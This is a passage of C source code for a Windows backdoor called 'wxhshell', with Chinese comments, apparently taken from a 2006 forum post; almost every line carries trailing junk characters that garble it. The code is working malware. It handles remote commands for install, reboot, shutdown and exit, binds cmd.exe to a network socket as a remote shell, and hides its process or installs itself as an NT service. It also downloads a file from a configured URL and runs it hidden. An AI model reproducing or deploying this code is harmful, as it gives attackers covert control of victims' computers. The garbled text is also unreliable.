  } Qd3 j%(  
  else { ^s"R$?;h  
;>7De8v@@  
    switch(cmd[0]) { 0YDR1dO(*  
  w~qT1vCCN  
  // 帮助 Vs!Nmv`  
  case '?': { TAW/zpps$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]N F[>uiW  
    break; 7WZ+T"O{I  
  } ePo}y])2  
  // 安装 gc$l^`+M  
  case 'i': { O3kA;[f;  
    if(Install()) hM@>q&q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X45%e!  
    else `3&v6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r mg}N  
    break; 7J<5f)  
    } -e:`|(Mo  
  // 卸载 Z/+#pWBI!  
  case 'r': { iGB}Il)  
    if(Uninstall())  Mb~F%_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZyAXm%  
    else $*fMR,~t&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l!u_"I8j5  
    break; g]0_5?i  
    } P-"y3 ZE=  
  // 显示 wxhshell 所在路径 7zG_(83)K  
  case 'p': { wI/iuc  
    char svExeFile[MAX_PATH]; F7#JLE=  
    strcpy(svExeFile,"\n\r"); =B@2#W#  
      strcat(svExeFile,ExeFile); {R6ZKB  
        send(wsh,svExeFile,strlen(svExeFile),0); $6SW;d+>n  
    break; R8'RA%O9J  
    } Ds:'Lb  
  // 重启 rFL;'Cj@  
  case 'b': { t1x1,SL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YUk\Q%  
    if(Boot(REBOOT)) brUF6rQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1iF1GkLEq  
    else { pYf-S?Y/V  
    closesocket(wsh); Qzw;i8n{  
    ExitThread(0); /mzlH  
    } NTs aW}g  
    break; Z(CkZll  
    } "=MeM)K  
  // 关机 e$rZ5X  
  case 'd': { b d!Y\OD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t"oeQ*d%  
    if(Boot(SHUTDOWN)) I-l_TpM)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{t,'[ u  
    else { M9%$lCl   
    closesocket(wsh); 5:_}zu|!u  
    ExitThread(0); e+fN6v5pU  
    } 1bwOm hkS  
    break; ^^ixa1H<  
    } CRy|kkT  
  // 获取shell $ $mV d+  
  case 's': { QoT;WM Z  
    CmdShell(wsh); uoh7Sz5!^  
    closesocket(wsh); ]:J$w]\  
    ExitThread(0); }Jj}%XxKs  
    break; nAlQ7 '  
  } KVa  
  // 退出 bV3|6]k^  
  case 'x': { Pa: |_IXA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9_/:[N6|c|  
    CloseIt(wsh); FGq [ \B  
    break; SXP]%{@ R/  
    } pOoEI+t  
  // 离开 DZtsy!xA  
  case 'q': { ;Q`lNFa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a0H+.W+]  
    closesocket(wsh); 67FWa   
    WSACleanup(); 7WzxA=*#  
    exit(1); )zDCu`  
    break; & wDs6xq  
        }  o-B$J?  
  } Yrq~5)%  
  } PLBr P  
 O*P.]d  
  // 提示信息 19%i mf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5wU]!bxr  
} }W^A*]X  
  } Dk51z@  
&s>Jb?_5Mx  
  return; )MT}+ai  
} k)TpnH! "  
2=!RQv~%  
// shell模块句柄 +^F Zq$NP  
int CmdShell(SOCKET sock) +k R4E23:  
{ 9 QJyZ  
STARTUPINFO si; lNO;O}8  
ZeroMemory(&si,sizeof(si)); rEz^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zX i 'kB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o.`5D%}i  
PROCESS_INFORMATION ProcessInfo; {R{=+2K!|k  
char cmdline[]="cmd"; 6j|{`Zd)G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @BMx!r5kn  
  return 0; ?:eV%`7  
} SUK?z!f <i  
`){.+S(5C  
// 自身启动模式 _7y[B&g[r  
int StartFromService(void) "Z+k=~(  
{ 7F~X,Dk_  
typedef struct K3l95he  
{ ` 5>b:3  
  DWORD ExitStatus; *|HY>U.  
  DWORD PebBaseAddress; }c:M^Ff  
  DWORD AffinityMask; [dVL&k<P  
  DWORD BasePriority; <(!:$  
  ULONG UniqueProcessId; z\4.Gm-  
  ULONG InheritedFromUniqueProcessId; >y+B  
}   PROCESS_BASIC_INFORMATION; i,VMd  
b| (: [nB  
PROCNTQSIP NtQueryInformationProcess; WTiD[u  
jSaU?ac  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l;E(I_ i)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RPbZ(.  
"$vRMpW:  
  HANDLE             hProcess; /BL4<T f  
  PROCESS_BASIC_INFORMATION pbi; wb ;xRP"w  
(^>J&[=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %@Jsal'  
  if(NULL == hInst ) return 0; pQQH)`J|t  
q1ma%eiN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9A#i_#[R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $<OD31T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "9807OME  
z0 Z%m@  
  if (!NtQueryInformationProcess) return 0; 1B\WA8  
A":T1s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -F3-{E  
  if(!hProcess) return 0; lmhLM. 2  
bhs _9ivw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5Yndc)Z  
#rg6,.I)<  
  CloseHandle(hProcess); DW3G  
2+WaA ,   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e~(5%CO>#j  
if(hProcess==NULL) return 0; 7x8  yxE  
K|s, ru  
HMODULE hMod; 5E <kwi  
char procName[255]; TJ*T:?>e  
unsigned long cbNeeded; :MDKC /mC  
N)Z?Z+ }h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OB}Ib]  
Z #m+ObHK1  
  CloseHandle(hProcess); |+"(L#wk  
%xt^698&X  
if(strstr(procName,"services")) return 1; // 以服务启动 xd0 L{ue.  
%N_%JK\{@  
  return 0; // 注册表启动 |gY^)9ei  
} 7>*vI7O0l  
'4<1 1(U  
// 主模块 [1H^3g '  
int StartWxhshell(LPSTR lpCmdLine) ]J]h#ZHx  
{ lk80#( :Z  
  SOCKET wsl; !Xw5<J3L-  
BOOL val=TRUE; uXl3k:_n  
  int port=0; 28u_!f[  
  struct sockaddr_in door; '/%H3A#L  
r:TH]hs12+  
  if(wscfg.ws_autoins) Install(); Oa>Ppldeg  
_h1mF<\ X^  
port=atoi(lpCmdLine); Z<{QaY$"  
PeEj&4k  
if(port<=0) port=wscfg.ws_port; E&:,oG2M  
| VDV<g5h  
  WSADATA data; k$}fWR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P0jtp7)7  
bi;1s'Y<D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   13/]DF,S"^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uFga~&#g  
  door.sin_family = AF_INET; j b!i$/%w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~4cC/"q$X  
  door.sin_port = htons(port); {H'Y `+  
o*hF<D$Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FHI ;)wn=  
closesocket(wsl); a7%]Y}$  
return 1; -d:Jta!}{  
} kylVH! @l  
@pU)_d!pJ  
  if(listen(wsl,2) == INVALID_SOCKET) { %ULr8)R;  
closesocket(wsl); Dv`c<+q(#  
return 1; \xoP)Ub>  
} u\nh[1)a)  
  Wxhshell(wsl); ^pk7"l4Xm  
  WSACleanup(); <p"iY}x[H  
U :_^#\p  
return 0; \1Em`nvOX  
r" ,GC]  
} sCHJ&>m5-  
"C`Ub  
// 以NT服务方式启动 [}]Q?*_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S>1Iky|  
{ -A!%*9Z  
DWORD   status = 0; 7Hu3>4<  
  DWORD   specificError = 0xfffffff; P7/X|M z  
FaJ&GOM,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M\Kx'N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z2>lI9D4V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hY8reQp1  
  serviceStatus.dwWin32ExitCode     = 0; 8Uxne2e  
  serviceStatus.dwServiceSpecificExitCode = 0; *-p}z@8  
  serviceStatus.dwCheckPoint       = 0; Mf``_=K  
  serviceStatus.dwWaitHint       = 0; uu687|Pm  
H$4:lH&(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h9W^[6  
  if (hServiceStatusHandle==0) return; /&94 eC  
,zY$8y]  
status = GetLastError(); 'uEl~> l7  
  if (status!=NO_ERROR) 2jhxQL  
{ 1|wL\I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f& '  
    serviceStatus.dwCheckPoint       = 0; N]sAji*  
    serviceStatus.dwWaitHint       = 0; ?FcAXA/J{  
    serviceStatus.dwWin32ExitCode     = status; icK/],  
    serviceStatus.dwServiceSpecificExitCode = specificError; "'\$ g[k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3m)y|$R  
    return; um0N)&iY  
  } P";'jVcR  
83q6Sv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^y%T~dLkp'  
  serviceStatus.dwCheckPoint       = 0; n.0fVV-A  
  serviceStatus.dwWaitHint       = 0; ZJs$STJ*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u.Dz~$T  
} CeC6hGR5  
~/P[J  
// 处理NT服务事件,比如:启动、停止 vRO _Q?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wAW5 Z0D  
{ ?5 7Sk+  
switch(fdwControl) I2 P@L?h  
{ D d</`iUq  
case SERVICE_CONTROL_STOP: 9q[oa5INd  
  serviceStatus.dwWin32ExitCode = 0; uW36;3[f#1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w+CA1q<  
  serviceStatus.dwCheckPoint   = 0; n7-6- #  
  serviceStatus.dwWaitHint     = 0; <e</m)j  
  { y h9*z3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9qG6Pb  
  } Jg| XH L)  
  return; s-T\r"d=j  
case SERVICE_CONTROL_PAUSE: mL: sJf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "LTad`]<Ro  
  break; &KRX[2  
case SERVICE_CONTROL_CONTINUE: ,DkNLE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6~w@PRy  
  break; WI-1)1t  
case SERVICE_CONTROL_INTERROGATE: yaH Zt`Y  
  break; TbW38\>.R  
}; OpYY{f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ikiypWq  
} Y`S vMkP)+  
D!IY&H,wo  
// 标准应用程序主函数 _"rgET`vW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z>5b;8  
{ ;hN!s`vq  
nc|p)  
// 获取操作系统版本 5"O.,H}  
OsIsNt=GetOsVer(); X_\otV h(D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cH t#us  
fS78>*K  
  // 从命令行安装 j+  0I-p  
  if(strpbrk(lpCmdLine,"iI")) Install(); wcY? rE9  
+!.^zp21  
  // 下载执行文件 L0WN\|D  
if(wscfg.ws_downexe) { Y glmX"fLf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vnZC,J `  
  WinExec(wscfg.ws_filenam,SW_HIDE); !." D]i;  
} ;@Y;g(bw:  
4u})+2W  
if(!OsIsNt) { n8ZZ#}Nhg  
// 如果时win9x,隐藏进程并且设置为注册表启动 q'Tf,a  
HideProc(); N64dO[op  
StartWxhshell(lpCmdLine); q6V>zi  
} QX'qyojxN  
else vuY~_  
  if(StartFromService()) 5uj?#)N  
  // 以服务方式启动 CN8Y\<Ar  
  StartServiceCtrlDispatcher(DispatchTable); H*'IK'O  
else V{3x!+q  
  // 普通方式启动 ]K,Tnyp  
  StartWxhshell(lpCmdLine); UJ')I`zuI  
pYmk1!]/  
return 0; dE{dZ#Jfi  
}
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只看该作者 1 发表于: 2006-10-10
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